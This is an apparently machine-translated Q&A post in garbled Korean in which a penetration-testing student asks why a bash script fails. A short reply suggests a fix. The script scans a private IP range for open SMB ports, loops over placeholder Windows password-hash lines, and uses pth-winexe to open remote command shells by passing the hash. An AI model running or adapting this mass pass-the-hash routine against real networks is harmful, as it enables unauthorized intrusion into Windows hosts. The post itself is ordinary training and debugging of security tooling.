내 침투 테스트 코스 쉘 스크립트를 작성하는 노력이 같이 보입니다 $의 hashfile을 반복 :: 예기치 않은 토큰
admin:1007:aaaaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbbbbbb:::
Administrator:500:ccccccccccccccccc:ddddddddddddddddddddd:::
someuser:1008:111111111111111111111:2222222222222222222222:::
backup:1006:33333333333333333333:44444444444444444444444444:::
및 필드 1에서 사용자 이름을 잡고와 $ smbuser을 설정 이 값으로하고, 세트 필드 3의 해시에 smbhash과 4
#!/bin/bash
hashfile="/root/bin/passcrack/227/hashes"
gethash() { awk -F: '{print $3 ":" $4}' < ${hashfile} }
getuser() { awk -F: '{print $1}' < ${hashfile} }
for host in $(nmap -p 445 192.168.15.200-254 -oG - | grep open | cut -d" " -f2); do
for line in $(cat ${hashfile}); do
smbhash=gethash($line)
smbuser=getuser($line)
echo "[+]"
echo "[+] trying [email protected]$host with $smbhash"
echo "[+]"
pth-winexe -U $smbuser%$smbhash //$host cmd;
done
done
내가지고있어 오류는 이것이다 :
[email protected]:~/bin# ./pth.sh
./pth.sh: line 10: syntax error near unexpected token `('
./pth.sh: line 10: ` smbhash=gethash($line)'
smbhash = $ (gethas $ {line}) 그리고 작동하는지 확인하십시오. – dganesh2002